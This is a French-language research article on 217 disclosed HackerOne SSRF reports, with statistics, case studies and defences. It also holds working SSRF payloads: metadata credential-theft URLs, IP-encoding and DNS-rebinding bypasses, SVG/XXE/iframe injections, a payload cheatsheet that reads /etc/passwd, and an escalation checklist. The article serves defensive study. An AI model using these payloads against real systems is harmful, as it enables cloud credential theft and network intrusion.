SSRFAdvanced25 min de lecture2026-02-15
LANG:EN|FR

SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Server-Side Request Forgery

SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Server-Side Request Forgery
Reports Analyzed:
217
Platforms:
HackerOne
Research Timespan:
#SSRF#Sécurité Cloud#AWS Metadata#DNS Rebinding#Blind SSRF#Contournement de Filtres#Webhooks#Analyse de Masse#Sécurité Infrastructure

SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Réelles

🚨 RÉSULTATS DE RECHERCHE CRITIQUES
Analyse du Jeu de Données : 217 rapports SSRF divulgués sur HackerOne (2014–2025)
Impact Financier : Plus de 92 757 $ en primes analysées
Prime Individuelle la Plus Élevée : 10 000 $ (SSRF via Import de Projet GitLab)
Découverte Critique : Les techniques de contournement battent les protections SSRF dans 18 % des cas

🔍 Résumé Exécutif

Le Server-Side Request Forgery (SSRF) s'est imposé comme l'une des classes de vulnérabilités les plus dangereuses dans les applications cloud-natives modernes, obtenant une reconnaissance dédiée en tant que OWASP Top 10 A10:2021. À travers l'analyse de 217 rapports SSRF divulgués sur HackerOne couvrant la période 2014–2025, cette étude expose comment les attaquants exploitent les applications pour atteindre les services internes, les endpoints de métadonnées cloud et l'infrastructure sensible.

Notre analyse révèle que les vulnérabilités SSRF ont généré plus de 92 757 $ en primes divulguées, avec des rapports individuels atteignant 10 000 $. Cependant, le véritable impact va bien au-delà des primes de bug bounty : le SSRF a permis aux attaquants de voler des identifiants AWS, d'obtenir un accès root aux instances cloud, d'exfiltrer des données internes et de pivoter à travers des réseaux internes entiers. Le SSRF de Shopify Exchange a seul été récompensé de 25 000 $ après que le chercheur a démontré un accès root sur toutes les instances d'un sous-ensemble d'infrastructure.

🎯 Qu'est-ce que le SSRF ?

Le Server-Side Request Forgery se produit quand un attaquant peut induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire ou une ressource interne de son choix. Contrairement aux attaques côté client, le SSRF exploite la position réseau du serveur et ses relations de confiance.

📋 EXEMPLE TYPIQUE DE SSRF
# Requête légitime — récupère une URL externe pour l'aperçu
POST /api/fetch-url HTTP/1.1
{"url": "https://example.com/article"}

# L'attaquant exploite pour atteindre les métadonnées cloud
POST /api/fetch-url HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# L'attaquant pivote vers les services internes
POST /api/fetch-url HTTP/1.1
{"url": "http://internal-api.corp:8080/admin/users"}
🧠 POURQUOI LE SSRF EST SI DANGEREUX
1. Abus de confiance réseau : Le serveur se trouve à l'intérieur du périmètre réseau de confiance
2. Accès aux métadonnées cloud : Les métadonnées AWS/GCP/Azure à 169.254.169.254 fournissent des identifiants
3. Escalade en chaîne : Le SSRF mène fréquemment au RCE, au vol d'identifiants ou à une compromission complète
4. Évasion de filtres : Les protections par liste noire sont régulièrement contournées

📊 Méthodologie d'Analyse

Cette étude examine 217 rapports SSRF divulgués depuis le Hacktivity de HackerOne, en se concentrant sur :

PORTÉE DE L'ANALYSE

  • Analyse temporelle : Tendances de 2014 à 2025
  • Schémas d'attaque : Blind, lecture complète, DNS rebinding, contournement
  • Cibles d'infrastructure : AWS, GCP, services internes
  • Impact financier : Distribution des primes

SOURCES DE DONNÉES

  • • 217 rapports HackerOne divulgués
  • • 77 programmes de bug bounty uniques
  • • 181 chercheurs en sécurité uniques
  • • Références croisées CVE quand disponibles

🔥 Résultats Clés

1. Distribution de Sévérité — Le SSRF Vise Haut

📈 RÉPARTITION PAR SÉVÉRITÉ (217 RAPPORTS)

40
CRITIQUE
18,4 %
50
ÉLEVÉ
23,0 %
75
MOYEN
34,6 %
36
FAIBLE
16,6 %
16
AUCUN/N/A
7,4 %

Plus de 41 % de tous les rapports SSRF ont été classés élevé ou critique, reflétant l'impact sévère d'une exploitation réussie — surtout quand des identifiants cloud ou des réseaux internes sont exposés.

2. Tendances Temporelles — Pic en 2020, Présence Constante

📅 RAPPORTS PAR ANNÉE

20
2017
19
2018
24
2019
55
2020 (PIC)
28
2021
30
2022
19
2023
16
2024
5
2025 (partiel)

Le pic de 2020 (55 rapports) coïncide avec l'adoption accélérée du cloud et la généralisation du télétravail. Malgré la baisse du nombre de divulgations ces dernières années, la sévérité et l'impact des rapports SSRF n'ont cessé d'augmenter — notamment autour de l'outillage IA/MCP (2025) et du SSRF au niveau des bibliothèques (libuv, undici, curl).

3. Programmes les Plus Ciblés

🎯 ORGANISATIONS LES PLUS CIBLÉES

Dept. of Defense20 rapports
GitLab18 rapports
Nextcloud15 rapports
Stripo10 rapports
HackerOne (propre infra)7 rapports
Shopify7 rapports
Internet Bug Bounty7 rapports
LINE5 rapports
Lark Technologies5 rapports
77 programmes uniques au total217 rapports

🔬 Analyse Approfondie des Schémas d'Attaque

Schéma 1 : Blind SSRF — La Variante la Plus Courante

🔇 BLIND SSRF (35 rapports — 16 % du jeu de données)

Définition : L'attaquant peut déclencher des requêtes côté serveur mais ne peut pas voir le corps de la réponse. Confirmation via des interactions hors bande (callbacks DNS/HTTP).

# Étape 1 : Injecter une URL contrôlée par l'attaquant
POST /api/webhook HTTP/1.1
{"callback_url": "https://attacker-burp-collaborator.net"}

# Étape 2 : Observer l'interaction DNS/HTTP dans Burp Collaborator
# Confirme que le serveur a effectué la requête depuis le réseau interne

# Étape 3 : Pivoter vers le scan de ports
POST /api/webhook HTTP/1.1
{"callback_url": "http://127.0.0.1:6379"}  # Redis
# La différence de temps de réponse révèle les ports ouverts
Exemple Réel — 8x8 Connect (#1875484) : Blind SSRF via /api/v2/chats/image-check permettant le scan de ports internes. Le chemin API entier a été retiré comme correctif.
Exemple Réel — Cloudflare (#1467044) : Blind SSRF sur platform.dash.cloudflare.com via une mauvaise configuration de Sentry.

Schéma 2 : Full-Read SSRF — Impact Maximum

📖 SSRF EN LECTURE COMPLÈTE (9 rapports — sévérité la plus élevée)

Définition : L'attaquant peut lire la réponse complète des requêtes internes, permettant le vol d'identifiants, l'exfiltration de données et la cartographie complète de l'infrastructure.

# L'attaquant demande les métadonnées AWS
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Le serveur renvoie les identifiants temporaires AWS
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "FwoGZX...",
  "Expiration": "2024-03-15T12:00:00Z"
}
Exemple Réel — Evernote (#1189367) : SSRF en lecture complète ayant divulgué les métadonnées AWS et permis l'inclusion de fichiers locaux. Impact classé critique.
Exemple Réel — GitLab (#878779) : SSRF en lecture complète sur une instance interne Grafana donnant accès aux données de monitoring.
Exemple Réel — Lark Docs (#1409727) : 5 000 $ de prime pour un SSRF en lecture complète via la fonctionnalité d'import de documents.

Schéma 3 : Exploitation des Métadonnées Cloud

☁️ ACCÈS AUX MÉTADONNÉES CLOUD (25+ rapports)

Cible : Le fameux endpoint de métadonnées 169.254.169.254 présent sur AWS, GCP et Azure.

# AWS Instance Metadata Service (IMDSv1 — aucune authentification requise)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP Metadata (nécessite un header)
http://metadata.google.internal/computeMetadata/v1/

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Exemple Réel — HackerOne (#2262382) : SSRF via injection d'iframe dans l'export PDF d'analytics exposant des identifiants AWS. Récompensé 25 000 $. CVSSv3 10.0 (Critique).
Exemple Réel — DoD (#1624140) : SSRF pour lire les métadonnées AWS via un paramètre URL. Identifiants AWS et données d'instance exposés.
Exemple Réel — Snapchat (#530974) : SSRF via DNS rebinding dans Chrome headless récupérant les métadonnées Google Cloud et créant des tokens de service.

Schéma 4 : Attaques par DNS Rebinding

🔄 DNS REBINDING (7 rapports)

Technique : L'attaquant contrôle les enregistrements DNS d'un domaine, résolvant initialement vers une IP publique (passant la validation), puis basculant vers une IP interne (127.0.0.1 ou 169.254.169.254) lors de la requête effective.

# Flux d'attaque par DNS Rebinding : 1. L'attaquant soumet : http://evil.attacker.com/payload 2. Première résolution DNS (validation) : evil.attacker.com → 1.2.3.4 (IP publique — passe la vérification) 3. Le TTL DNS expire immédiatement (TTL=0) 4. Seconde résolution DNS (requête réelle) : evil.attacker.com → 127.0.0.1 (interne !) 5. Le serveur se connecte au localhost, contournant tous les filtres SSRF basés sur l'IP
Exemple Réel — Burp Suite MCP (#3176157) : DNS rebinding dans le serveur MCP de Burp Suite contournant la validation d'origine pour accéder aux réseaux internes et aux métadonnées cloud. 2 000 $ de prime.
Exemple Réel — ConcreteCMS (#1369312) : DNS rebinding contournant les mitigations SSRF des métadonnées AWS pour récupérer les clés IAM.
Exemple Réel — Nextcloud (#2115212) : Middleware de DNS pin contourné via rebinding.

Schéma 5 : Techniques de Contournement de Filtres SSRF

🔓 CONTOURNEMENT DE FILTRES/LISTES NOIRES SSRF (21+ rapports avec « bypass » dans le titre)

Constat clé : Les protections SSRF sont systématiquement contournées. Les approches par liste noire sont vouées à l'échec.

# Technique de contournement 1 : IPv6 mappée vers IPv4
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:169.254.169.254]/

# Technique de contournement 2 : Encodage IP Décimal/Octal/Hex
http://2130706433/         # Décimal pour 127.0.0.1
http://0x7f000001/         # Hex pour 127.0.0.1
http://017700000001/       # Octal pour 127.0.0.1
http://0177.0.0.1/         # Octal mixte

# Technique de contournement 3 : Incohérences d'analyse d'URL
http://evil.com@127.0.0.1/  # Confusion hôte/identifiants
http://127.0.0.1#@evil.com  # Injection de fragment
http://127.0.0.1%00@evil.com  # Octet nul

# Technique de contournement 4 : Chaînes de redirections
http://evil.com/redirect?to=http://169.254.169.254/

# Technique de contournement 5 : Point final dans le domaine
http://internal-service.  # Le point final contourne les listes de refus

# Technique de contournement 6 : URL relative au protocole
//127.0.0.1/admin
Exemple Réel — Security (#2301565) : Contournement IPv6-mappée-vers-IPv4 battant les protections anti-SSRF pour atteindre les métadonnées EC2 AWS. 2 500 $ de prime.
Exemple Réel — Nextcloud (#1702864) : Payloads SSRF alphanumériques contournant la validation du filtre IP. 250 $ de prime.
Exemple Réel — Stripe Smokescreen (#1410214) : Point final rajouté aux domaines contournant la fonctionnalité deny_list.
Exemple Réel — libuv (#2429894) : Troncature de nom d'hôte à 256 caractères permettant à des adresses comme 0x00007f000001 de contourner la validation. 4 860 $ de prime.

Schéma 6 : SSRF via Upload de Fichiers & Fonctionnalités d'Import

📁 SSRF FICHIER/IMPORT (24 rapports)

Vecteurs : Uploads SVG, générateurs PDF, imports de fichiers par URL, traitement vidéo, analyse XML/XSLT.

<!-- SSRF basé sur SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

<!-- SSRF basé sur XXE via upload XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

<!-- SSRF via générateur PDF par injection HTML -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
Exemple Réel — GitLab (#826361) : SSRF via remote_attachment_url sur l'import de Note de projet. 10 000 $ de prime — la plus élevée du jeu de données.
Exemple Réel — TikTok (#1062888) : SSRF externe et lecture de fichiers locaux via le traitement HLS FFmpeg vulnérable dans les uploads vidéo. 2 727 $ de prime.
Exemple Réel — Uber (#448598) : SSRF via XXE Out-of-Band dans l'upload de fichiers sur usuppliers.uber.com.
Exemple Réel — Shopify (#223203) : SSRF basé sur SVG — 500 $ de prime.

Schéma 7 : SSRF via Webhooks & Intégrations

🔗 SSRF WEBHOOK/INTÉGRATION (9 rapports)

Cause racine : Les applications qui permettent aux utilisateurs de configurer des URLs de webhook ou des endpoints d'intégration sans validation d'URL appropriée.

# Configuration de webhook pointant vers un service interne
POST /api/integrations/webhook
{
  "name": "Mon Intégration",
  "url": "http://169.254.169.254/latest/meta-data/",
  "events": ["order.created"]
}

# Quand l'événement se déclenche, le serveur envoie la requête
# vers la destination contrôlée par l'attaquant ou l'infrastructure interne
Exemple Réel — Omise (#508459) : SSRF dans les webhooks divulguant les clés privées AWS.
Exemple Réel — Helium (#1055823) : Endpoint d'intégration HTTP personnalisé pointant vers http://169.254.169.254/latest/meta-data. 500 $ de prime.
Exemple Réel — Dynatrace (#643278) : Webhook d'intégration personnalisé divulguant les métadonnées AWS. 1 500 $ de prime.

💰 Analyse d'Impact Financier

💸 DISTRIBUTION DES PRIMES

92 757 $+
TOTAL DES PRIMES
1 819 $
PRIME MOY. (non-zéro)
76,5 %
RAPPORTS À 0 $ DE PRIME

Rapports aux Primes les Plus Élevées :

CRITIQUE

GitLab Import de Projet SSRF

10 000 $
Rapport #826361
SSRF lecture complète via remote_attachment_url
ÉLEVÉ

Reddit Matrix SSRF

6 000 $
Rapport #1960765
Blind SSRF exfiltrant des données de services internes
ÉLEVÉ

Kubernetes Cloud Controller SSRF

5 000 $
Rapport #776017
SSRF semi-blind évolutif en HTTP forgé complet
CRITIQUE

Lark Docs Import SSRF

5 000 $
Rapport #1409727
SSRF lecture complète via import de document
ÉLEVÉ

Apache UNC SSRF (CVE-2024-38472)

4 920 $
Rapport #2585385
SSRF via chemin UNC Windows divulguant des hash NTLM
ÉLEVÉ

libuv Domain Lookup SSRF

4 860 $
Rapport #2429894
Troncature de nom d'hôte permettant le contournement de filtres SSRF
💎 MENTION NOTABLE : Shopify Exchange SSRF → ROOT (25 000 $)

Rapport #341876 — @0xacb a exploité le SSRF dans la fonctionnalité de capture d'écran de Shopify Exchange pour accéder aux métadonnées cloud, puis a pivoté pour obtenir un accès root à chaque conteneur dans le sous-ensemble d'infrastructure. Shopify a répondu en moins d'une heure, désactivé le service et audité tous les sous-ensembles d'infrastructure. Récompensé 25 000 $ comme équivalent d'un RCE Shopify Core. Ce montant de prime n'est pas reflété dans la section des primes mais représente la découverte SSRF la plus importante du jeu de données.

🏭 Analyse d'Impact par Industrie

🏛️ GOUVERNEMENT & DÉFENSE

Rapports : 20 (secteur le plus ciblé)
Prime Moy. : 0 $ (VDP — pas de récompenses monétaires)
Impacts Courants :
  • • Exposition de métadonnées AWS sur des systèmes militaires
  • • Scan de réseau interne
  • • Énumération d'adresses IP et d'infrastructure
Critique : Les systèmes du DoD sont systématiquement vulnérables au SSRF via les générateurs PDF, xmlrpc.php et les paramètres URL

💻 OUTILS DEV & INFRASTRUCTURE

Rapports : 18 (GitLab) + 7 (Shopify) + autres
Prime Moy. : 2 000 $+
Impacts Courants :
  • • Compromission de pipeline CI/CD
  • • Exploitation de l'import de projets
  • • Accès interne à Grafana/monitoring
Notable : GitLab a payé 10 000 $ pour un SSRF d'import de projet, Shopify a payé 25 000 $ pour le SSRF Exchange → root

📧 COMMUNICATION & MESSAGERIE

Rapports : Slack (4), Nextcloud (15), LINE (5)
Prime Moy. : 750 $
Impacts Courants :
  • • Proxying réseau interne via serveurs TURN
  • • Blind SSRF via paramètres de serveur mail
  • • Abus de commandes slash pour des requêtes internes
Notable : Le serveur TURN de Slack permettait le proxying TCP/UDP vers le réseau interne (3 500 $)

🔧 BIBLIOTHÈQUES OPEN SOURCE

Rapports : curl (3), libuv, undici, écosystème Node.js
Multiplicateur d'Impact : Des millions d'utilisateurs en aval
Problèmes Courants :
  • • Incohérences d'analyse d'URL
  • • Bugs de troncature de nom d'hôte
  • • Gestion des URLs relatives au protocole
Critique : Un seul SSRF de bibliothèque (ex. curl, undici) affecte des milliers d'applications en aval

🔬 Plongée Technique : La Kill Chain SSRF

⚠️ ÉCHELLE D'EXPLOITATION SSRF

Niveau 1 : Interaction avec un Service Externe (Impact Faible)

Confirmer l'existence du SSRF via un callback hors bande DNS/HTTP. Prouve que le serveur effectue des requêtes mais aucune donnée n'est exfiltrée.

Vérifier : Le serveur effectue une requête DNS vers un domaine contrôlé par l'attaquant Impact : Divulgation d'informations (IP du serveur), preuve de vulnérabilité
Niveau 2 : Scan de Ports Internes (Impact Moyen)

Énumérer les services internes en mesurant les différences de temps de réponse ou d'erreurs entre les ports.

Détecter : Temps de réponse pour http://127.0.0.1:22 (ouvert) vs http://127.0.0.1:12345 (fermé) Impact : Cartographie du réseau interne, découverte de services
Niveau 3 : Vol d'Identifiants Cloud (Impact Élevé)

Accéder au service de métadonnées cloud pour voler des identifiants IAM temporaires.

Cible : http://169.254.169.254/latest/meta-data/iam/security-credentials/ Impact : Accès au compte AWS, manipulation de buckets S3, contrôle d'EC2
Niveau 4 : Exécution de Code à Distance (Impact Critique)

Chaîner le SSRF avec des services internes (Redis, Docker API, Kubernetes) pour obtenir l'exécution de code.

Chaîne : SSRF → Docker API (sans auth) → Évasion de conteneur → Accès root Réel : Shopify Exchange SSRF → Root sur toutes les instances (#341876) Réel : Uber SSRF → Accès à l'API Docker interne (#366638)

🔥 Étude de Cas : Shopify Exchange → Accès Root

🏆 RAPPORT #341876 — Le SSRF à 25 000 $

Rapporteur : @0xacb
Cible : Shopify Exchange (fonctionnalité de capture d'écran)
Impact : Accès root à chaque conteneur dans un sous-ensemble d'infrastructure
Prime : 25 000 $ (classifié comme équivalent RCE Shopify Core)
Chaîne d'Attaque :
  1. 1. Découverte du SSRF dans le service de capture d'écran d'Exchange
  2. 2. Utilisation du SSRF pour atteindre l'endpoint de métadonnées cloud (169.254.169.254)
  3. 3. Récupération des identifiants du rôle IAM depuis les métadonnées
  4. 4. Utilisation des identifiants pour accéder aux services internes et aux buckets
  5. 5. Obtention de l'accès root sur tous les conteneurs du sous-ensemble d'infrastructure
Réponse de Shopify (exemplaire) :
En 1 heure : service vulnérable désactivé. Début de l'audit de tous les sous-ensembles d'infrastructure. Déploiement d'un proxy de dissimulation de métadonnées sur toute l'infrastructure. Blocage de l'accès aux IP internes dans tous les sous-ensembles.

🔥 Étude de Cas : Le Propre SSRF de HackerOne → 25 000 $

🏆 RAPPORT #2262382 — Identifiants AWS via Export PDF

Rapporteur : @mega7 (h--1)
Cible : Rapports PDF Analytics de HackerOne
Impact : Vol d'identifiants AWS, prise de contrôle de compte potentielle, exécution de commandes arbitraires
Prime : 25 000 $ | CVSSv3 : 10.0 (Critique)
Chaîne d'Attaque :
  1. 1. Injection d'une balise <iframe> dans l'élément template de génération de rapport PDF analytics
  2. 2. Le moteur de rendu PDF récupère l'URL de l'iframe côté serveur
  3. 3. Iframe pointée vers http://169.254.169.254/latest/meta-data/iam/security-credentials/
  4. 4. Le PDF généré contenait les identifiants temporaires AWS en clair
  5. 5. Les identifiants pouvaient manipuler les ressources AWS, causer des pertes de données ou prendre le contrôle de comptes
Réponse de HackerOne :
Reproduit et vérifié en quelques heures. Correctif déployé en production. Tests de régression ajoutés. L'investigation forensique n'a trouvé aucune preuve d'exploitation antérieure. Classé CVSSv3 10 (Critique).

🛡️ Stratégies de Prévention

🔒 DÉFENSE EN PROFONDEUR — COUCHES DE PROTECTION SSRF

1. Isolation au Niveau Réseau (Le Plus Efficace)
Déployez les applications dans des segments réseau qui ne peuvent pas atteindre les endpoints de métadonnées ou les services internes sensibles.
# AWS : Imposer IMDSv2 (requiert un accès basé sur des tokens)
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Déployer un proxy de dissimulation de métadonnées (comme Shopify)
# Bloquer 169.254.169.254 au niveau réseau via iptables/security groups

# Kubernetes : Bloquer les métadonnées via NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
2. Validation d'URL au Niveau Application (Liste Blanche Uniquement)
N'utilisez jamais de listes noires. Utilisez des listes blanches strictes pour les protocoles, domaines et plages IP.
import ipaddress
import urllib.parse
import socket

ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),       # Loopback
    ipaddress.ip_network('10.0.0.0/8'),         # Privé
    ipaddress.ip_network('172.16.0.0/12'),      # Privé
    ipaddress.ip_network('192.168.0.0/16'),     # Privé
    ipaddress.ip_network('169.254.0.0/16'),     # Link-local (métadonnées !)
    ipaddress.ip_network('0.0.0.0/8'),          # Spécial
    ipaddress.ip_network('::1/128'),            # Loopback IPv6
    ipaddress.ip_network('::ffff:0:0/96'),      # IPv6 mappé IPv4
]

def validate_url(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    
    # 1. Protocole en liste blanche
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    
    # 2. Résoudre le hostname, valider l'IP résolue (pas le hostname !)
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
    except (socket.gaierror, ValueError):
        return False
    
    # 3. Bloquer les IPs privées/internes
    for network in BLOCKED_NETWORKS:
        if ip in network:
            return False
    
    # 4. Re-valider après redirection (critique contre le DNS rebinding !)
    return True
3. Protection contre le DNS Rebinding
Résolvez le DNS une seule fois, épinglez l'IP et validez avant ET après l'établissement de la connexion.
# Stratégie d'épinglage DNS
def safe_fetch(url: str) -> bytes:
    parsed = urllib.parse.urlparse(url)
    
    # Étape 1 : Résoudre et valider
    resolved_ip = resolve_and_validate(parsed.hostname)
    
    # Étape 2 : Se connecter directement à l'IP résolue (contourne le DNS)
    # Empêche le DNS rebinding entre la validation et la requête
    response = requests.get(
        url,
        headers={'Host': parsed.hostname},
        allow_redirects=False,  # Gérer les redirections manuellement !
        timeout=5,
        # Forcer la connexion à l'IP validée
        # via un adaptateur personnalisé ou un override de socket
    )
    
    # Étape 3 : Valider toute URL de redirection avant de la suivre
    if response.is_redirect:
        redirect_url = response.headers['Location']
        validate_url(redirect_url)  # Re-valider !
    
    return response.content
4. Proxy Egress Dédié (Pattern Smokescreen)
Acheminez toutes les requêtes HTTP sortantes via un proxy dédié qui applique les politiques URL de manière centralisée.
# Proxy egress de type Smokescreen (utilisé par Stripe, Shopify)
# Tout le HTTP sortant de l'application transite par ce proxy
# Le proxy impose :
#   - Aucune connexion aux plages IP internes
#   - Aucune connexion aux endpoints de métadonnées cloud
#   - Aucune connexion aux domaines refusés
#   - La résolution DNS se fait dans le proxy (empêche le rebinding)

proxy_config:
  deny_ranges:
    - "127.0.0.0/8"
    - "10.0.0.0/8"
    - "169.254.0.0/16"
    - "172.16.0.0/12"
    - "192.168.0.0/16"
  deny_domains:
    - "*.internal"
    - "metadata.google.internal"

🧪 Méthodologie de Test pour les Chasseurs de Bugs

🛠️ CHECKLIST DE CHASSE AUX SSRF

Étape 1 : Identifier les Vecteurs d'Entrée
Cherchez tout paramètre acceptant des URLs, noms d'hôte ou adresses IP : webhooks, imports de fichiers, aperçus d'URL, uploads SVG, générateurs PDF.
Étape 2 : Confirmer avec OOB
Utilisez Burp Collaborator ou interactsh pour confirmer que le serveur effectue des requêtes externes. Vérifiez les callbacks DNS et HTTP.
Étape 3 : Tester l'Accès Interne
Essayez d'atteindre 127.0.0.1, 169.254.169.254 et les noms d'hôte internes. Mesurez les différences de temps de réponse pour le scan de ports.
Étape 4 : Contourner les Filtres
Essayez IPv6, IP décimale, IP hexadécimale, DNS rebinding, encodage URL, chaînes de redirections, URLs relatives au protocole et points finaux.
Étape 5 : Escalader l'Impact
Si vous pouvez atteindre les métadonnées cloud, extrayez les identifiants IAM. Vérifiez Redis, Docker API, Kubernetes API sur les ports internes.
Étape 6 : Documenter Rigoureusement
Montrez la chaîne d'attaque complète. Démontrez l'impact métier. Incluez les étapes de reproduction, captures d'écran et l'infrastructure affectée.
📋 PARAMÈTRES SSRF COURANTS À TESTER
url, uri, src, href, link, callback, redirect, proxy, endpoint
dest, target, path, host, domain, site, page, feed, webhook
image_url, icon_url, avatar_url, logo_url, preview_url
import_url, fetch_url, load_url, download_url, file_url
next, return, continue, forward, redir, out, view, show
🔄 CHEATSHEET DE PAYLOADS SSRF
# Endpoints de métadonnées cloud
http://169.254.169.254/latest/meta-data/          # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance            # Azure

# Services internes
http://127.0.0.1:6379/       # Redis
http://127.0.0.1:9200/       # Elasticsearch
http://127.0.0.1:2375/       # Docker API
http://127.0.0.1:5985/       # WinRM
http://127.0.0.1:8500/       # Consul

# Lecture de fichiers locaux
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/tcp

# Astuces d'encodage IP
http://0x7f000001/            # Hex
http://2130706433/            # Décimal
http://017700000001/          # Octal
http://[::ffff:127.0.0.1]/   # IPv6 mappé
http://127.1/                 # Raccourci
http://0/                     # Zéro

👥 Profils des Chercheurs & Répartition Géographique

🏆 TOP CHASSEURS DE SSRF

@orange3 rapports
@supr4s3 rapports
@jin0ne3 rapports
@jobert3 rapports
@edoverflow3 rapports
@a_d_a_m2 rapports
@lu3ky-132 rapports
@mike122 rapports

Notable : @orange (Orange Tsai) est un chercheur SSRF de renommée mondiale connu pour le contournement des parseurs d'URL. @jobert (co-fondateur de HackerOne) apparaît dans le top des chasseurs SSRF et IDOR. @edoverflow se spécialise dans les vulnérabilités au niveau infrastructure.

🌍 DÉMOGRAPHIE DES CHERCHEURS

Vue d'Ensemble du Jeu de Données
Chercheurs Uniques181
Total de Rapports217
Moy. Rapports par Chercheur1,2
Tendances Clés
Le SSRF est un territoire de spécialistes : Contrairement à l'IDOR, la plupart des rapporteurs SSRF (83 %) n'ont soumis qu'un seul rapport — un niveau technique élevé est nécessaire
Chasseurs inter-classes : @jobert et @a_d_a_m apparaissent dans le top des chasseurs IDOR et SSRF
Focus infrastructure : Les meilleurs chasseurs SSRF se spécialisent davantage dans la sécurité réseau/cloud que dans la logique applicative web
Recherche académique : De nombreux rapports SSRF font référence à des techniques de contournement novatrices issues d'articles académiques ou de présentations en conférence (ex. présentations BlackHat d'Orange Tsai)
Diversité Géographique
• Chercheurs de plus de 50 pays sur 6 continents
• Forte représentation d'Asie (Taïwan, Inde, Japon) et d'Europe (France, Allemagne, Pays-Bas)
• Amérique du Nord et du Sud également bien représentées

🔮 Tendances Futures et Menaces Émergentes

⚠️ PAYSAGE ÉMERGENT DES MENACES SSRF

1. SSRF via Outillage IA/MCP (tendance 2025)

L'essor des serveurs Model Context Protocol (MCP) introduit de nouvelles surfaces SSRF. Les outils IA qui effectuent des requêtes HTTP pour le compte des utilisateurs sont vulnérables au DNS rebinding et manquent de validation d'origine.

Exemple : Burp Suite MCP Server (#3176157) — SSRF par DNS rebinding permettant l'accès au réseau interne via l'outil send_http1_request.

2. SSRF de Chaîne d'Approvisionnement via les Bibliothèques

Les vulnérabilités SSRF dans les bibliothèques fondamentales (curl, libuv, undici) créent un risque de chaîne d'approvisionnement affectant simultanément des millions d'applications en aval.

Exemples : CVE-2024-38472 (Apache), troncature de hostname libuv, SSRF pathname undici — tous ont affecté des écosystèmes massifs.

3. SSRF Kubernetes & Orchestration de Conteneurs

Les serveurs API Kubernetes, les contrôleurs cloud et les webhooks d'admission introduisent des opportunités SSRF uniques aux plateformes de conteneurs.

Exemple : Kubernetes (#1544133) — Serveur API agrégé détourné retournant des redirections 30X permettant le SSRF vers des endpoints internes.

4. Génération PDF/Documents comme Surface d'Attaque

Les générateurs PDF côté serveur (wkhtmltopdf, Puppeteer, Chrome headless) ignorent systématiquement la Content Security Policy et permettent le SSRF via l'injection HTML.

Pattern : Injecter <iframe>, <img> ou <script> dans du contenu contrôlé par l'utilisateur → le moteur de rendu PDF récupère les URLs internes côté serveur.

🏢 Recommandations pour les Organisations

🚨 ACTIONS IMMÉDIATES (0-30 jours)

  1. 1. Activer IMDSv2 sur toutes les instances AWS (bloque l'accès non authentifié aux métadonnées)
  2. 2. Auditer les endpoints acceptant des URLs — webhooks, imports, aperçus, générateurs PDF
  3. 3. Bloquer 169.254.169.254 au niveau réseau via security groups/iptables
  4. 4. Désactiver les protocoles inutiles — bloquer les schémas file://, gopher://, dict://

⚡ MOYEN TERME (1-6 mois)

  1. 1. Déployer un proxy egress (Smokescreen ou similaire) pour tout le HTTP sortant
  2. 2. Implémenter l'épinglage DNS pour prévenir les attaques par rebinding
  3. 3. Remplacer les listes noires par des listes blanches pour toute validation d'URL
  4. 4. Ajouter des tests SSRF au CI/CD — scan automatisé des endpoints acceptant des URLs

🎯 LONG TERME (6+ mois)

  1. 1. Réseau zero-trust — les microservices doivent authentifier toutes les requêtes internes
  2. 2. Proxy de dissimulation de métadonnées sur toute l'infrastructure (modèle Shopify)
  3. 3. Exercices de red team ciblant spécifiquement les chaînes d'attaque SSRF
  4. 4. Audit de la chaîne d'approvisionnement — surveiller les dépendances pour les vulnérabilités d'analyse d'URL

🎯 Conclusion

📊 ANALYSE FINALE

Le SSRF a évolué d'une curiosité à l'une des classes de vulnérabilités les plus critiques dans les environnements cloud-natifs. Notre analyse de 217 rapports HackerOne révèle un schéma clair : les protections SSRF sont régulièrement contournées, les métadonnées cloud restent la cible d'escalade privilégiée, et la surface d'attaque continue de s'étendre avec l'outillage IA, l'orchestration de conteneurs et les vulnérabilités au niveau des bibliothèques.

Points Clés à Retenir :
  1. 1. Les listes noires échouent : 18 % des rapports impliquent le contournement de protections SSRF existantes. Les listes blanches et l'isolation réseau sont les seules défenses fiables.
  2. 2. Les métadonnées cloud sont le trésor : 25+ rapports ciblent 169.254.169.254 — imposez IMDSv2 et bloquez les métadonnées au niveau réseau.
  3. 3. Le Blind SSRF est sous-estimé : 35 rapports démontrent que même sans accès au corps de réponse, les attaquants obtiennent un impact significatif via le scan de ports et l'interaction avec les services.
